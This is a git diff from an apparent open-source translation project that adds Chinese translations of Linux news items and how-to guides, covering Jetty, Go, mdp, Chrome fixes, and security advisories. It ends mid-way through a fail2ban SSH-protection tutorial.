+不仅如此,实际上结果也并不严重,因为它会导致设备重启。不存在数据泄漏的风险或是能引起这个问题的攻击,不会吸引攻击者。但另一方面,不管怎样都应该提供一个补丁,以减轻任何未来的潜在风险。 + +Core Security声称在Android 5.0.1及以上版本中没有测试到这个问题,他们发现的受影响的设备有Android系统4.4.4的Nexus 5和4,运行Android 4.2.2的LG D806和Samsung SM-T310,以及4.1.2版本系统的Motorola RAZR HD。 + +目前,减轻影响的方式是尽量不用Wi-Fi直连,或者升级到没有漏洞的Android版本。 + +-------------------------------------------------------------------------------- + +via:http://news.softpedia.com/news/Bug-In-Wi-Fi-Direct-Android-Implementation-Causes-Denial-of-Service-471299.shtml + +本文发布时间:27 Jan 2015, 09:11 GMT + +作者:[Ionut Ilascu][a] +译者:[zpl1025](https://github.com/zpl1025) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://news.softpedia.com/editors/browse/ionut-ilascu +[1]:http://www.coresecurity.com/advisories/android-wifi-direct-denial-service diff --git a/published/201502/20150127 Install Jetty Web Server On CentOS 7.md b/published/201502/20150127 Install Jetty Web Server On CentOS 7.md new file mode 100644 index 0000000000..3de2c7d9fb --- /dev/null +++ b/published/201502/20150127 Install Jetty Web Server On CentOS 7.md @@ -0,0 +1,78 @@ +在CentOS 7中安装Jetty服务器 +================================================================================ +[Jetty][1] 是一款纯Java的HTTP **(Web) 服务器**和Java Servlet容器。 通常在更大的网络框架中,Jetty经常用于设备间的通信,而其他Web服务器通常给“人类”传递文件 :D。Jetty是一个Eclipse基金会的免费开源项目。这个Web服务器用于如Apache ActiveMQ、 Alfresco、 Apache Geronimo、 Apache Maven、 Apache Spark、Google App Engine、 Eclipse、 FUSE、 Twitter的 Streaming API 和 Zimbra中。 + +这篇文章会介绍‘如何在CentOS服务器中安装Jetty服务器’。 + +**首先我们要用下面的命令安装JDK:** + + yum -y install java-1.7.0-openjdk wget + +**JDK安装之后,我们就可以下载最新版本的Jetty了:** + + wget http://download.eclipse.org/jetty/stable-9/dist/jetty-distribution-9.2.5.v20141112.tar.gz + +**解压并移动下载的包到/opt:** + + tar zxvf jetty-distribution-9.2.5.v20141112.tar.gz -C /opt/ + +**重命名文件夹名为jetty:** + + mv /opt/jetty-distribution-9.2.5.v20141112/ /opt/jetty + +**创建一个jetty用户:** + + useradd -m jetty + +**改变jetty文件夹的所属用户:** + + chown -R jetty:jetty /opt/jetty/ + +**为jetty.sh创建一个软链接到 /etc/init.d directory 来创建一个启动脚本文件:** + + ln -s /opt/jetty/bin/jetty.sh /etc/init.d/jetty + +**添加脚本:** + + chkconfig --add jetty + +**是jetty在系统启动时启动:** + + chkconfig --level 345 jetty on + +**使用你最喜欢的文本编辑器打开 /etc/default/jetty 并修改端口和监听地址:** + + vi /etc/default/jetty + +---------- + + JETTY_HOME=/opt/jetty + JETTY_USER=jetty + JETTY_PORT=8080 + JETTY_HOST=50.116.24.78 + JETTY_LOGS=/opt/jetty/logs/ + +**我们完成了安装,现在可以启动jetty服务了 ** + + service jetty start + +完成了! + +现在你可以在 **http://\<你的 IP 地址>:8080** 中访问了 + +就是这样。 + +干杯!! + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/install-jetty-web-server-centos-7/ + +作者:[Jijo][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.unixmen.com/author/jijo/ +[1]:http://eclipse.org/jetty/ diff --git a/published/201502/20150128 Meet Vivaldi--A New Web Browser Built for Power Users.md b/published/201502/20150128 Meet Vivaldi--A New Web Browser Built for Power Users.md new file mode 100644 index 0000000000..f82ca8965d --- /dev/null +++ b/published/201502/20150128 Meet Vivaldi--A New Web Browser Built for Power Users.md @@ -0,0 +1,60 @@ +认识Vivaldi——一款为高手级用户定制的全新网页浏览器 +================================================================================ +![](http://www.omgubuntu.co.uk/wp-content/uploads/2015/01/Screen-Shot-2015-01-27-at-17.36.jpg) + +**这周一个为了满足高手级用户的需要而定制的全新网页浏览器已然来临——而且它已经可以在Linux上使用了。** + +Vivaldi就是这个新浏览器的名字,而且它还面向64位Linux、Windows 和 Mac 机发布了技术预览版(注解:无责任测试版)。它是建立在已测试过的Chromium开源框架,Blink和Google的开源V8 JavaScript引擎(以及其他项目)的基础上。 + +这个世界真的还需要一个浏览器吗?Opera软件前首席执行官Jon S.von Tetzchner的构想——Vivaldi不怎么关注所要,更关注所需。 + +Vivaldi被制造成带有着偏向于键盘操作的tab键痴迷者所需的那种功能。并没有为那些认为Firefox复杂或是批评Chrome改动了书签按钮的用户而进行修改。 + +这也并不是什么俗气的营销噱头。尽管它带有‘技术预览版’标签,Vivaldi已经有了明显偏向于高手级用户们的功能。 + +相当多的人觉得自己被其他软件公司所生产的简化的,配对后发行的产品遗弃了、糊弄了。Vivaldi——即使在这个过渡期的早期——看起来适逢其会,可以打败其他产品。 + +### Vivaldi功能### + +以下是几个Vivaldi已展示过的关键功能: + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2015/01/quick.jpg) + +**快捷命令** (Ctrl + Q)是个内置的HUD应用,它可以让你快速过滤设置、选项和功能,用它打开一个书签或是隐藏状态栏,只需用你的键盘,无需鼠标点击。 + +**标签堆** 让你可以通过把多个不同标签分到一组来清理你的工作区,然后可以通过键盘命令或者可预览标签选择器在标签组之间进行切换。 + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2015/01/tab-stacks.jpg) + +一个可折叠的**侧边栏**藏有额外功能(就像旧Opera)包括一个(目前还不能工作的)邮箱客户端,链接,书签浏览器和可以让你截屏并做注释的笔记专区。 + +还提供了一大堆其他的功能,包括设置键盘快捷键,一个可以被设置在浏览器任何一个边(或完全隐藏)的标签栏,隐私选项和一个快速打开文件夹的功能。 + +### Opera二代的印记 ### + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2015/01/vivaldi-settings-in-ubuntu-750x434.jpg) + +把Vivaldi当作Opera post-Presto(Opera拥有版权的旧引擎)的真正继承者并不是什么值得惊奇的事。当Opera(今天也推出了一个小更新)追求一个更轻、更好管理的一套功能时,已经剔除了它很多“高手级用户”功能。 + +Vivaldi想要捡起Opera曾急于脱手的负担。虽然这么做没有帮它抓住什么预期的市场份额,但是它吸引了高手级用户的眼球。他们大多数无疑已经在使用Linux了。 + +### 下载 ### + +有兴趣尝尝鲜?完全可以。Vivaldi可以下载到Windows,Mac以及64位Linux版本。不久的将来你还能选择Debian或RPM安装器。 + +请记住,它还没有完成,而且更多的功能(包括扩展、同步等等)正计划着在将来加入。 + +- [Download Vivaldi Tech Preview for Linux][1] + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2015/01/vivaldi-web-browser-linux-download-power-users + +作者:[Joey-Elijah Sneddon][a] +译者:[H-mudcup](https://github.com/H-mudcup) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://plus.google.com/117485690627814051450/?rel=author +[1]:https://vivaldi.com/#Download diff --git a/published/201502/20150130 OpenJDK 7 Vulnerabilities Closed in Ubuntu 14.04 and Ubuntu 14.10.md b/published/201502/20150130 OpenJDK 7 Vulnerabilities Closed in Ubuntu 14.04 and Ubuntu 14.10.md new file mode 100644 index 0000000000..e49dd12654 --- /dev/null +++ b/published/201502/20150130 OpenJDK 7 Vulnerabilities Closed in Ubuntu 14.04 and Ubuntu 14.10.md @@ -0,0 +1,29 @@ +OpenJDK 7的漏洞已经在Ubuntu 14.04 和Ubuntu 14.10中解决了 +---- +*建议用户尽快升级* + +**Canonical发布新 OpenJDK 7 的安全公告,它已经提交到Ubuntu 14.04 LTS和Ubuntu 14.10 的仓库中。该更新修复了大量的问题和漏洞。** + +Ubuntu维护者已经升级了仓库中的OpenJDK包,并且含有大量的修复。这是一个重要的更新,其涵盖了少量的库。 + +安全公告中说“OpenJDK JRE中发现了一些信息泄露、数据完整性和可用性的漏洞。攻击者可以利用这些通过网络执行拒绝服务或者泄露信息。” + +同样,“OpenJDK JRE中发现了关于信息泄露和完整性的漏洞。攻击者可以利用这点通过网络泄露敏感信息。” + +这里有几个漏洞被开发者确认,并且由维护人员解决。关于该问题的详细描述,你可以参考Canonical的安全通告。建议用户尽快升级系统。 + +这个漏洞只要你升级到最新的openjdk 7相关的包就可以修复。要应用该补丁,用户需要运行升级管理程序。通常上,一个标准系统更新就会安装必要的更新。所有java相关的程序需要重新启动。 + +-------------------------------------------------------------------------------- + +via: http://linux.softpedia.com/blog/OpenJDK-7-Vulnerabilities-Closed-in-Ubuntu-14-04-and-Ubuntu-14-10-471605.shtml + +本文发布时间:29 Jan 2015, 16:53 GMT + +作者:[Silviu Stahie][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://news.softpedia.com/editors/browse/silviu-stahie diff --git a/published/201502/20150202 How to create and show a presentation from the command line on Linux.md b/published/201502/20150202 How to create and show a presentation from the command line on Linux.md new file mode 100644 index 0000000000..04deb0264c --- /dev/null +++ b/published/201502/20150202 How to create and show a presentation from the command line on Linux.md @@ -0,0 +1,186 @@ +如何在Linux命令行中创建以及展示演示稿 +================================================================================ +你在准备一场演讲的时候,脑海可能会先被图文并茂、形象华丽的演示图稿所占据。诚然,没有人会否认一份生动形象的演讲稿所带来的积极作用。然而,并非所有的演讲都需要TED Talk的质量。更多时候,演讲稿只为传达特定的信息。 而这个,使用文本信息足以完成。在这种情况下,你的时间可以更好的花在信息的搜集和核实上面,而不是在谷歌图片搜索(Google Image)上寻找好看的图片。 + +在Linux的世界里,有几个不同的方式供你选择来做演讲。比如带有大量多媒体展示、视觉冲击效果极佳的[Impress.js][1],专为LaTex用户提供的Beamer,等等。而如果你苦于寻找一种简单的方式来创建并且展示文本演示稿,[mdp][2] 就能帮你实现。 + +### 什么是Mdp? ### + +mdp是Linux下一款基于ncurses的命令行演示工具。我喜欢mdp在于它对[markdown][3]的支持,使得我很容易以熟悉的markdown格式来创建幻灯片。自然,它还可以很轻松地用HTML格式来发布幻灯片。另一个好处是它支持UTF-8字符编码,这让非英语字符(如希腊或西里尔字母)的展示也变得很方便。 + +### 在Linux中安装Mdp ### + +mdp的依赖需求很少(如 ncursesw),这使得安装非常简单。 + +#### Debian、Ubuntu或者它们的衍生版 #### + + $ sudo apt-get install git gcc make libncursesw5-dev + $ git clone https://github.com/visit1985/mdp.git + $ cd mdp + $ make + $ sudo make install + +#### Fedora或者CentOS/RHEL #### + + $ sudo yum install git gcc make ncurses-devel + $ git clone https://github.com/visit1985/mdp.git + $ cd mdp + $ make + $ sudo make install + +#### Arch Linux #### + +Arch Linux可以通过[AUR][4]轻松安装mdp。 + +### 在命令行中创建演示稿 ### + +安装mdp完毕,你可以使用你喜欢的文本编辑器来轻松创建一个演示稿。如果你熟悉markdown的话,很快就可以驾驭mdp。而对于那些不熟悉markdown的人来说,学习mdp最好的方式就是从一个实例着手。 + +这里有一份6页的演示稿样本可供参考。 + + %title: Sample Presentation made with mdp (Xmodulo.com) + %author: Dan Nanni + %date: 2015-01-28 + + -> This is a slide title <- + ========= + + -> mdp is a command-line based presentation tool with markdown support. <- + + *_Features_* + + * Multi-level headers + * Code block formatting + * Nested quotes + * Nested list + * Text highlight and underline + * Citation + * UTF-8 special characters + + ------------------------------------------------- + + -> # Example of nested list <- + + This is an example of multi-level headers and a nested list. + + # first-level title + + second-level + ------------ + + - *item 1* + - sub-item 1 + - sub-sub-item 1 + - sub-sub-item 2 + - sub-sub-item 3 + - sub-item 2 + + ------------------------------------------------- + + -> # Example of code block formatting <- + + This example shows how to format a code snippet. + + 1 /* Hello World program */ + 2 + 3 #include + 4 + 5 int main() + 6 { + 7 printf("Hello World"); + 8 return 0; + 9 } + + This example shows inline code: `sudo reboot` + + ------------------------------------------------- + + -> # Example of nested quotes <- + + This is an example of nested quotes. + + # three-level nested quotes + + > This is the first-level quote. + >> This is the second-level quote + >> and continues. + >>> *This is the third-level quote, and so on.* + + ------------------------------------------------- + + -> # Example of citations <- + + This example shows how to place a citation inside a presentation. + + This tutorial is published at [Xmodulo](http://xmodulo.com) + + You are welcome to connect with me at [LinkedIn](http://www.linkedin.com/in/xmodulo) + + Pretty cool, huh? + + ------------------------------------------------- + + -> # Example of UTF-8 special characters <- + + This example shows UTF-8 special characters. + + ae = ä, oe = ö, ue = ü, ss = ß + alpha = ?, beta = ?, upsilon = ?, phi = ? + Omega = ?, Delta = ?, Sigma = ? + + ??????????? + ?rectangle? + ??????????? + +### 在命令行中展示演示稿 ### + +当你把以上代码保存为slide.md的文本文件后,你可以运行以下命令来展示演示稿: + + $ mdp slide.md + +你可以通过按键 回车/空格/下翻页/向下光标键 (下一张幻灯)、回退/上翻页/向上光标键 (上一张幻灯)、Home (幻灯首页)、 End (幻灯末页)或者 数字N (第N页幻灯)来操作你的演示稿。 + +演示稿的标题将在每页幻灯的顶部展示,而你的名字和页码则会出现在幻灯的底部。 + +![](https://farm9.staticflickr.com/8637/16392457702_ec732d0094_c.jpg) + +这是嵌套列表和多层次标题的实例效果。 + +![](https://farm9.staticflickr.com/8567/16367397606_29be7df633_c.jpg) + +这是代码片段和内联代码的实例效果。 + +![](https://farm9.staticflickr.com/8682/15770926144_0f982b0863_b.jpg) + +这是嵌套引用的实例效果。 + +![](https://farm9.staticflickr.com/8587/16393383115_0865c8b89b_c.jpg) + +这是放置引文的实例效果。 + +![](https://farm8.staticflickr.com/7409/16392457712_ed36c14bc2_c.jpg) + +这是UTF-8编码特殊字符支持的实例效果。 + +![](https://farm9.staticflickr.com/8648/16205981560_7fa3debc75_c.jpg) + +### 总结 ### + +在本教程中,我演示了在命令行中如何使用mdp来创建并且展示一个演示稿。mdp的markdown兼容性让我们省去了学习其它新格式的麻烦,这相对于另一种名为[tpp][5]的演示工具来说是一个优势。拘于mdp的局限性,它可能无法作为你的默认演示工具。但是,值得肯定的是它一定能在某个场合下派上用场。你觉得mdp怎么样呢?你还喜欢其它的什么东西吗? + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/presentation-command-line-linux.html + +作者:[Dan Nanni][a] +译者:[soooogreen](https://github.com/soooogreen) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/nanni +[1]:http://bartaz.github.io/impress.js/ +[2]:https://github.com/visit1985/mdp +[3]:http://daringfireball.net/projects/markdown/ +[4]:https://aur.archlinux.org/packages/mdp-git/ +[5]:http://www.ngolde.de/tpp.html \ No newline at end of file diff --git a/published/201502/20150203 Linux FAQs with Answers--How to fix 'Your profile could not be opened correctly' on Google Chrome.md b/published/201502/20150203 Linux FAQs with Answers--How to fix 'Your profile could not be opened correctly' on Google Chrome.md new file mode 100644 index 0000000000..faf724786c --- /dev/null +++ b/published/201502/20150203 Linux FAQs with Answers--How to fix 'Your profile could not be opened correctly' on Google Chrome.md @@ -0,0 +1,50 @@ +Linux有问必答——如何修复Google Chrome 的“Your profile could not be opened correctly”错误 +================================================================================ +> **提问**:当我在linux打开Google Chrome 浏览器时,我已经几次收到弹出窗口,提示我的档案文件没有被正确打开(Your profile could not be opened correctly.)。每次我打开Chrome都要弹出来,我应该如何修复这个问题? + +当你在你的Chrome上看见"Your profile could not be opened correctly"错误信息时,从某种程度上讲,那是因为你的Chrome配置文件数据已经损坏。这个问题经常发生在手动升级Google Chrome的时候。 + +![](https://farm8.staticflickr.com/7428/16238502737_27bdda6685_o.png) + +修复取决于到底哪个文件损坏,你可以试试下面的几个方法。 + +### 方法一 ### + +关掉所有Chrome窗口和标签页。 + +进入~/.config/google-chrome/Default,移除或者重命名"Web Data"文件。 + + $ cd ~/.config/google-chrome/Default + $ rm "Web Data" + +再次开打Google Chrome浏览器。 + +### 方法二 ### + +关掉所有Chrome窗口和标签页。 + +进入~/.config/google-chrome/"Profile 1",并重命名"History"文件。 + + $ cd ~/.config/google-chrome/"Profile 1" + $ mv History History.bak + +再次开打Google Chrome浏览器。 + +### 方法三 ### + +如果依然没有解决,你可以试试移除所有默认配置文件夹(~/.config/google-chrome/Default)。注意:如果这样做,你将会遗失所有之前打开的Google标签、导入的书签,浏览记录和登录数据等。 + +在移除之前,先关掉所有Chrome窗口和标签页 + + $ rm -rf ~/.config/google-chrome/Default + +之后重启Google Chrome,文件夹~/.config/google-chrome/Default会自动生成。 + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/your-profile-could-not-be-opened-correctly-google-chrome.html + +译者:[VicYu/Vic020](http://vicyu.net) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201502/20150205 Linux FAQs with Answers--How to install Go language on Linux.md b/published/201502/20150205 Linux FAQs with Answers--How to install Go language on Linux.md new file mode 100644 index 0000000000..110fe965a5 --- /dev/null +++ b/published/201502/20150205 Linux FAQs with Answers--How to install Go language on Linux.md @@ -0,0 +1,96 @@ +如何在Linux中安装Go语言 +================================================================================ +Go (也叫 "golang")是一款由Google最初开发的编程语言。它的诞生有几个设计原则:简单、安全、速度。Go语言发行版拥有各种调试、测试、调优和代码审查工具。如今Go语言和它的工具链在大多数Linux发行版的基础仓库都可用,用默认的包管理器就可以安装。 + +### 在Ubuntu、Debian 或者 Linux Mint上安装Go语言 ### + +下面是在基于Debian的发行版上使用**apt-get**来安装Go语言和它的开发工具。 + + $ sudo apt-get install golang + +检查Go语言的版本来验证安装。 + + $ go version + +---------- + + go version go1.2.1 linux/amd64 + +根据你的需要,你或许想要使用apt-get安装额外的Go工具。 + + $ sudo apt-cache search golang + +![](https://farm8.staticflickr.com/7430/15812762183_f094e3bf92_c.jpg) + +### 在Fedora、CentOS/RHEL中安装Go语言 ### + +下面的命令会在基于Red Hat的发行版中安装Go语言和它的工具。 + + $ sudo yum install golang + +检查Go语言的版本来验证安装。 + + $ go version + +---------- + + go version go1.3.3 linux/amd64 + +根据你的需要,你或许想要使用yum安装额外的Go工具。 + + $ yum search golang + +![](https://farm8.staticflickr.com/7373/16432817805_775010dc18_c.jpg) + +### 从官网安装Go语言 ### + +有时发行版中的go语言版本并不是最新的。为了避免这种情况,你可以从官网安装最新的Go语言。下面是步骤。 + +进入Go语言的[官方源码][1],并下载预编译二进制代码。 + +**对于64位Linux:** + + $ wget https://storage.googleapis.com/golang/go1.4.1.linux-amd64.tar.gz + +**对于32位Linux:** + + $ wget https://storage.googleapis.com/golang/go1.4.1.linux-386.tar.gz + +**在/usr/local下安装程序** + + $ sudo tar -xzf go1.4.1.linux-xxx.tar.gz -C /usr/local + +在/etc/profile中添加系统范围的PATH环境变量。 + + $ sudo vi /etc/profile + +---------- + + export PATH=$PATH:/usr/local/go/bin + +如果你在/usr/local之外的自定义位置中安装了Go,你同样需要设置GOROOT环境变量来指向自定义的安装位置。 + + $ sudo vi /etc/profile + +---------- + + export GOROOT=/path/to/custom/location + +检查Go语言的版本 + + $ go version + +---------- + + go version go1.4.1 linux/amd64 + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/install-go-language-linux.html + +译者:[geekpi](https://github.com/geekpi) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://golang.org/dl/ diff --git a/published/201502/20150205 LinuxQuestions Survey Results Surface Top Open Source Projects.md b/published/201502/20150205 LinuxQuestions Survey Results Surface Top Open Source Projects.md new file mode 100644 index 0000000000..4cfe259dd0 --- /dev/null +++ b/published/201502/20150205 LinuxQuestions Survey Results Surface Top Open Source Projects.md @@ -0,0 +1,32 @@ +LinuxQuestions 问卷调查揭晓最佳开源项目 +================================================================================ +![](http://farm5.static.flickr.com/4099/4777335328_3cc363c419_m.jpg) + +在Linux用户社区中, 很多人每年都会期待来自 LinuxQuestions.org 细致可靠的年度问卷调查报告。如同[Susan在她的报告][1]中指出的那样, 今年的[结果][2]着重于调查网站读者心中最棒的开源项目。 这份报告目前已经完成。 在LinuxQuestions的大多数人都是“专家级”的用户, 他们经常在网站上在线回答Linux新手们的提问。 + +在Susan所作的报告的附加内容里, 你可以看到由“专家”们对开源世界的关注点分布。 + +你也可以在[这里][3]找到一份较为精美的调查问卷总结图.这里呈现了网站投票得出的最佳Linux发行版, 可以看到Mint和Slackwaer平分了半壁江山: + +![](http://i1311.photobucket.com/albums/s669/webworkerdaily/lin_zps9ogvyrty.png) + +而下图则是网站票选出的得出的最佳云项目。值得注意的是, LinuxQuestions的用户群体给予了ownCloud项目极高的评价。 你一定得亲自去看看调查结果的详情, 也看看 [Susan 关于各项目“赢家”][4]的总结, 还有[一堆精美的图表][5]。 + +![](http://i1311.photobucket.com/albums/s669/webworkerdaily/lin2_zps9nxf7yyi.png) + +-------------------------------------------------------------------------------- + +via: http://ostatic.com/blog/linuxquestions-survey-results-surface-top-open-source-projects + +作者:[Sam Dean][a] +译者:[Moelf](https://github.com/Moelf) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://ostatic.com/member/samdean +[1]:http://ostatic.com/blog/lq-members-choice-award-winners-announced +[2]:http://www.linuxquestions.org/questions/linux-news-59/2014-linuxquestions-org-members-choice-award-winners-4175532948/ +[3]:http://www.linuxquestions.org/questions/2014mca.php +[4]:http://ostatic.com/blog/lq-members-choice-award-winners-announced +[5]:http://www.linuxquestions.org/questions/2014mca.php diff --git a/published/201502/20150209 CrunchBang Linux Is Dead.md b/published/201502/20150209 CrunchBang Linux Is Dead.md new file mode 100644 index 0000000000..7adfa42887 --- /dev/null +++ b/published/201502/20150209 CrunchBang Linux Is Dead.md @@ -0,0 +1,32 @@ +CrunchBang Linux 已死!!! +================================================================================ +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/02/Crunchbang_Linux_Dead.jpeg) + +是的,你没看错。最小的Linux发行版**CrunchBang Linux 已经消失了**。 + +CrunchBang Linux,被大家所熟知的缩写标志“#!”,其基于Debian和[Openbox][1]窗口管理器。这个黑色主题的 Linux 发行版是许多资深 Linux用户的选择。 + +### CrunchBang 因为 “不再有继续下去的价值” 而消失了 ### + +其[公告][2]称,CrunchBang将不在继续开发,项目的领头人Philip Newborough说他在开始这个项目的时候,Linux 世界和现在不同。他指出那时在这种发行版还没有‘竞争’,但是随着Linux发行版的进步,如Lubuntu,Crunchbang这样的发行版就不具备原来的价值了。 + +> 对于任何十年前使用Linux的人而言,我想他们都会看到事物在不断发展。虽然一些事情一直保持不变,还有一些的变化超出了认知。这称之为进步。对于大部分事物而言,进步是一件好事。也就是说当进步发生时,一些事物落后了。对于我而言,CrunchBang就是我需要抛弃的东西。我抛弃它的原因是我真的认为它不再具有任何价值了,虽然我还可以因为一些多愁善感的原因把它留下来,但是我不认为那些使用原生Debian用户还有兴趣了。 + +### CrunchBang消失之后会怎么样? ### + +就像[Pear OS][3]那样,CrunchBang论坛仍将在线。现在仍可以下载但是不久的将来就会停止。Philip对他即将面对的新的项目和工作感到很激动。我希望他今后工作顺利。很难过见到一个像CrunchBang这样好的Linux发行版的消失。 + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/crunchbang-linux-dead/ + +作者:[Abhishek][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://itsfoss.com/author/abhishek/ +[1]:http://en.wikipedia.org/wiki/Openbox +[2]:http://crunchbang.org/forums/viewtopic.php?id=38916 +[3]:http://itsfoss.com/pear-os-history/ diff --git a/published/201502/20150209 Non-Linux FOSS--Homebrew.md b/published/201502/20150209 Non-Linux FOSS--Homebrew.md new file mode 100644 index 0000000000..d132d55555 --- /dev/null +++ b/published/201502/20150209 Non-Linux FOSS--Homebrew.md @@ -0,0 +1,24 @@ +非Linux的自由开源软件:Homebrew +================================================================================ +我日常工作中使用的是OS X。我能容忍它很大程序上是因为它的终端。如果我不能在黑色背景绿色文字的终端下工作,我想我会疯了。不幸的是,OS X 没有我需要的全部命令行工具。Homebrew的到来拯救了我。 + +![](http://www.linuxjournal.com/files/linuxjournal.com/ufiles/imagecache/large-550px-centered/u1002061/11811fossf1.png) + +Homebrew扮演了OS X中所缺乏的包管理器的角色。命令的使用很像apt-get,它能够安装无数的应用。一个最好的例子是wget。我很惊讶OS X中没有包含wget,但是homebrew中有,很简单就安装上了。 + +最棒的是homebrew在/usr/local文件夹下安装软件。你不必担心homebrew会破坏你的系统,因为它不会访问/usr/local之外的其他文件。OSX系统更新不会覆盖你的程序,并且/usr/local/bin已经在PATH中,使用homebrew安装的程序可以直接工作。 + +homebrew使用ruby管理它的包和功能,但是使用它不需要任何编程知识。并且安装过程只需要在命令行中复制粘贴就好了。如果你使用的是OS X,但是你希望像在Linux中那样方便地安装,就试一试homrbrew吧:[http://brew.sh][1]。 + +-------------------------------------------------------------------------------- + +via: http://www.linuxjournal.com/content/non-linux-foss-homebrew + +作者:[Shawn Powers][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.linuxjournal.com/users/shawn-powers +[1]:http://brew.sh/ diff --git a/published/201502/20150215 Get Rid Of Two Google Chrome Icons From Dock In Elementary OS Freya.md b/published/201502/20150215 Get Rid Of Two Google Chrome Icons From Dock In Elementary OS Freya.md new file mode 100644 index 0000000000..fb593dbf68 --- /dev/null +++ b/published/201502/20150215 Get Rid Of Two Google Chrome Icons From Dock In Elementary OS Freya.md @@ -0,0 +1,56 @@ +如何避免在ELemetary OS Freya中出现两个Google Chrome 图标 +================================================================================ +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/02/Two_Google_Chrome_ElementaryOS_Freya.jpeg) + +这篇文章会教你**如何避免在ELemetary OS Freya中出现两个Google Chrome 图标**。 + +Chrome才是我在所有系统中使用的主浏览器。[Modori][2] 是默认放在dock中的浏览器,所以你每次使用Chrome时都需要在Slingshot中搜索Google Chrome,而为了节省时间,我通常会将它“保持在dock”中。 + +这里的问题是当你点击dock中的Chrome图标时,它会创建另外一个Google Chrome的实例。这就在dock中留下两个Chrome图标,这或许你可以不在意,但是很显然处女座不能忍!如果你有相同的感受,让我们看下如何移除这第二个Google Chrome图标。 + +### 在Elementary OS Freya的dock中删除第二个Google Chrome 图标 ### + +#### 第一步: #### + +从dock中删除Google Chrome。 + +#### 第二步: #### + +打开终端并使用下面的命令: + + cp /usr/share/applications/google-chrome.desktop ~/.local/share/applications + +#### 第三步: #### + +接下来我们要编辑google-chrome.destop文件。使用下面的命令: + + scratch-text-editor ~/.local/share/applications/google-chrome.desktop + +这会用Scratch打开google-chrome.destop文件。在[Desktop Entry]段落下,加入下面的行: + + + StartupWMClass=Google-chrome-stable + +看上去像这样: + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/02/two_Google_Chrome_Elementary_Freya.png) + +#### 第四步: #### + +进入Slingshot并且再次打开Google Chrome。再次选择“keep in dock”。关闭并重新打开它来验证它是否在dock中打开了另外一个新的Chrome图标。这里不需要重启系统。 + +我希望这篇提示能够帮助你删除Elementary OS Freya中多出的Chrome图标。有任何问题或建议让我在评论区中知道。 + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/rid-google-chrome-icons-dock-elementary-os-freya/ + +作者:[Abhishek][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://itsfoss.com/author/abhishek/ +[1]:http://elementary.io/ +[2]:http://midori-browser.org/ diff --git a/published/201503/20130315 How to protect SSH server from brute force attacks using fail2ban.md b/published/201503/20130315 How to protect SSH server from brute force attacks using fail2ban.md new file mode 100644 index 0000000000..e2940a2ed7 --- /dev/null +++ b/published/201503/20130315 How to protect SSH server from brute force attacks using fail2ban.md @@ -0,0 +1,170 @@ +如何使用 fail2ban 防御 SSH 服务器的暴力破解攻击 +================ + +对于SSH服务的常见的攻击就是暴力破解攻击——远程攻击者通过不同的密码来无限次地进行登录尝试。当然SSH可以设置使用非密码验证验证方式来对抗这种攻击,例如[公钥验证][1]或者[双重验证][2]。将不同的验证方法的优劣处先放在一边,如果我们必须使用密码验证方式怎么办?你是如何保护你的 SSH 服务器免遭暴力破解攻击的呢? + +[fail2ban][3] 是 Linux 上的一个著名的入侵保护的开源框架,它会监控多个系统的日志文件(例如:/var/log/auth.log 或者 /var/log/secure)并根据检测到的任何可疑的行为自动触发不同的防御动作。事实上,fail2ban 在防御对SSH服务器的暴力密码破解上非常有用。 + +在这篇指导教程中,我会演示**如何安装并配置 fail2ban 来保护 SSH 服务器以避免来自远程IP地址的暴力攻击**。 + +###在linux上安装Fail2ban + +为了在CentOS 或 RHEL上安装fail2ban,首先[设置EPEL仓库][4],然后运行以下命令。 + + $ sudo yum install fail2ban + +在Fedora上安装fail2ban,简单地运行以下命令: + + $ 